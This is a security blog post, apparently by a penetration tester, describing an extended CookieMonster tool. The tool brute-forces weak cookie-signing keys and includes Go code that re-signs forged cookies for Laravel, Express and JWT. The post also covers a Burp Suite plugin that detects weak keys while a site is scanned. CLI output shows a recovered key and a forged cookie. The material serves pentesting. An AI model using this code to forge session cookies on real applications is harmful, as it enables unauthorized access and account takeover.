Weaponizing Monster for Cookies Attacks

2022-10-18

Summary

To find the weak secret key in web applications, I used cookiemonster during pentests and scout. When a key is leaked, it can make the application vulnerable to many security issues with multiple impacts. To support exploitation, I added re-signing gadgets for more frameworks (Eg: like Laravel, Express, Yii,...) than original (only Django). In addition, a teammate made a wordlist that provides more secret keys that were leaked on the internet. Based on that wordlist and the power of cookiemonster, I decided to write a plugin for Burp Suite for purpose of helping users easy to discover the weak secret key on their browsing website.

About CookieMonster

CookieMonster is a tool for finding out which web application signed cookies using a secret key in high performance. For each cookie string input, the tool will brute force check to see if each key in the provided wordlist matches the cookie string.

➜  cookiemonster# time ./cookiemonster -cookie "eyJpdiI6IlU0dWpqK3ZcL0JMZEppWVc1czE3SEpBPT0iLCJ2YWx1ZSI6IldxT2xNc3BKQUpIQjZhRTNEbXFVOHFGQ05NeDE3blZFQjIwakFPSExzc1Y1cDJUR3RmN1Y0VHVVZGx0VlQ0Qk03cTdtTSs5OUZ2VTJGVTMxYkh3dXd2cTJQc0Q0WVZNTjZGeUUya1htS2RRcm9JRUZyRnlySG1aZ2dtVVJoZEJ1IiwibWFjIjoiMDIzM2Q2NmRiY2JhYTE3ZGY5MDc1N2ZhOWJmN2M4YWU1OGMzYjVlZmQ5MGJjMzY0YTU4MDllNjAxYzFjMzlhMSJ9"
đŸĒ CookieMonster 1.4.0
ℹī¸  CookieMonster loaded the default wordlist; it has 38919 entries.
❌ Sorry, I did not discover the key for this cookie.
./cookiemonster -cookie   0.29s user 0.07s system 274% cpu 0.132 total

Process 38919 key of wordlist in less than half a second, so cookiemonster doesn't take a lot of resources - a prerequisite for my plugin.

The Cookiemonster custom I have developed is available at here, contains cookies handling and resigning capability for all frameworks that are supported at the original, and also handles the Yii Framework cookies as an add-on.

Cookiemonster Resign

Laravel

All I have to do is re-write openssl_encrypt of PHP to Golang. This function encrypts data with an initial vector and a secret key. Follow up on the signing algorithm, we have a re-sign function.

func laravelResign(c *Cookie, data string, secret []byte) string {
	iv, _ := hex.DecodeString("162578ddce177a4a7cb2f7c738fa052d")
	value := pkcs7Pad([]byte(data), aes.BlockSize)
	block, err := aes.NewCipher(secret)
	if err != nil {
		return ""
	}

	ciphertext := make([]byte, len(value))
	mode := cipher.NewCBCEncrypter(block, []byte(iv))
	mode.CryptBlocks(ciphertext, value)

	result := &laravelCookie{}
	result.Value = base64.RawStdEncoding.EncodeToString(ciphertext)
	result.IV = base64.RawStdEncoding.EncodeToString(iv)
	result.MAC = hex.EncodeToString(sha256HMAC(secret, append([]byte(result.IV), []byte(result.Value)...)))
	rawCookie, err := json.Marshal(result)
	if err != nil {
		return ""
	}
	return base64.RawStdEncoding.EncodeToString(rawCookie)
}

func pkcs7Pad(ciphertext []byte, blockSize int) []byte {
	padding := blockSize - len(ciphertext)%blockSize
	padtext := bytes.Repeat([]byte{byte(padding)}, padding)
	return append(ciphertext, padtext...)
}

➜  cookiemonster# ./cookiemonster -cookie "eyJpdiI6InRLT0FPVWV5TVwvUVlFNThNRk85NnhnPT0iLCJ2YWx1ZSI6Img4QmZmbVVzNFJoalZyM3kwR0kwVEN3Y2pJdU9NcytTUG8wSVFhSU0ra0l2ZmhsZ3dFT0pvb0h5blg4NG4zbUoiLCJtYWMiOiJjMzcwODcwYzAyNjA2MTBjOTE0YmUxMWI3NTQyYmQ2ZGZmMTE4MDA2MDMyOWI3ZTQyYTkwNWQ1YjU0NGMzOWE2In0%3D" -resign m0nsieur
đŸĒ CookieMonster 1.4.0
ℹī¸  CookieMonster loaded the default wordlist; it has 38920 entries.
✅ Success! I discovered the key for this cookie with the laravel decoder; it is "SomeRandomString".
{"iv":"FiV43c4Xekp8svfHOPoFLQ","value":"3YCEXUHDu/qKMwQTdn48MQ","mac":"9e327c0729cff530b318bec8d5d6a8996b32ad1c6218712c7db4ebb491396d4c","tag":""}
✅ I resigned this cookie for you; the new one is: eyJpdiI6IkZpVjQzYzRYZWtwOHN2ZkhPUG9GTFEiLCJ2YWx1ZSI6IjNZQ0VYVUhEdS9xS013UVRkbjQ4TVEiLCJtYWMiOiI5ZTMyN2MwNzI5Y2ZmNTMwYjMxOGJlYzhkNWQ2YTg5OTZiMzJhZDFjNjIxODcxMmM3ZGI0ZWJiNDkxMzk2ZDRjIiwidGFnIjoiIn0

Express

About Express, it was easier than Laravel. The format of cookie Express is:

cookiename=<data>
cookiename.sig=<signature>

Compute signature depend on algorithm has been detected in the decoding step.

func expressResign(c *Cookie, data string, secret []byte) string {
	parsedData := c.parsedDataFor(expressDecoder).(*expressParsedData)
	var computedSignature []byte
	switch parsedData.algorithm {
	case "sha1":
		computedSignature = sha1HMAC(secret, []byte(data))
	case "sha256":
		computedSignature = sha256HMAC(secret, []byte(data))
	case "sha384":
		computedSignature = sha384HMAC(secret, []byte(data))
	case "sha512":
		computedSignature = sha512HMAC(secret, []byte(data))
	default:
		panic("unknown algorithm")
	}
	return base64.RawStdEncoding.EncodeToString(computedSignature)
}

Yii

Although CookieMonster didn't support unsign and resign for Yii, I figured it would be easy to implement.

Detail there

JWT

The resigning process of JWT just similar to Express. Depend on algorithm, signuture will be computed by that one.

func jwtResign(c *Cookie, data string, secret []byte) string {
	parsedData := c.parsedDataFor(jwtDecoder).(*jwtParsedData)
	toBeSign := parsedData.header + jwtSeparator + base64.RawStdEncoding.EncodeToString([]byte(data))
	var computedSignature []byte
	switch parsedData.algorithm {
	case "sha1":
		computedSignature = sha1HMAC(secret, []byte(toBeSign))
	case "sha256":
		computedSignature = sha256HMAC(secret, []byte(toBeSign))
	case "sha384":
		computedSignature = sha384HMAC(secret, []byte(toBeSign))
	case "sha512":
		computedSignature = sha512HMAC(secret, []byte(toBeSign))
	default:
		panic("unknown algorithm")
	}

	return parsedData.header + jwtSeparator + base64.RawStdEncoding.EncodeToString([]byte(data)) + jwtSeparator + base64.RawStdEncoding.EncodeToString(computedSignature)
}

CookieMonster Burp Suite Extender

I know BurpSuite is one of the most important applications for security engineers since it allows them to modify requests before they are sent, as well as import their custom plugins to support the testing process.

As part of every pentest project, I have to check all the return cookies from the server to see if its application is using a weak secret key to sign the cookies. In some cases, the cookies are only returned when we access some directory of websites. For example, a hostname has 2 instances of 2 frameworks like: http://foo.bar/laravel is hosted for a Laravel instance, and http://foo.bar/express for an Express. So we need to detect that case automatically. Fortunately, Burp Suite gives us a scan engine, it crawls, scans all the paths of web applications, and processes it. My extender will take all cookies that are returned from different paths of a website. With each cookie, it will be cookiemonstered if not yet before.

Setup

Source Code

Import Externder Successful

After importing, you can browse and whenever plugin find out a secret key, it will alert in Dashboard tab. Another way to use it is to create a scan instance. Init scan manually Alert in Dashboard tab You can see it clearly in output.txt.

➜  cookiemonster-burp-extender# cat output.txt 
Load successful!
Author: m0nsieur
Found new weak key at: http://xx.xxx.xxxx:80/. Cookie is: session=eyJmbGFzaCI6e319^kfOH79z8r36viKqtU4oQtxQrcXj1wCaL4wSZHf-xCL9v-zxo6LnXIzIzrmRJYNX8

Conclusion

After discover the weak secret, you should run Cookiemonster CLI to obtain the key. Additionally, my resigning feature will be helpful if you need to push your arbitrary data as cookie to server.

Hope you guys enjoy reading :)

Credit: m0nsieur@VSRC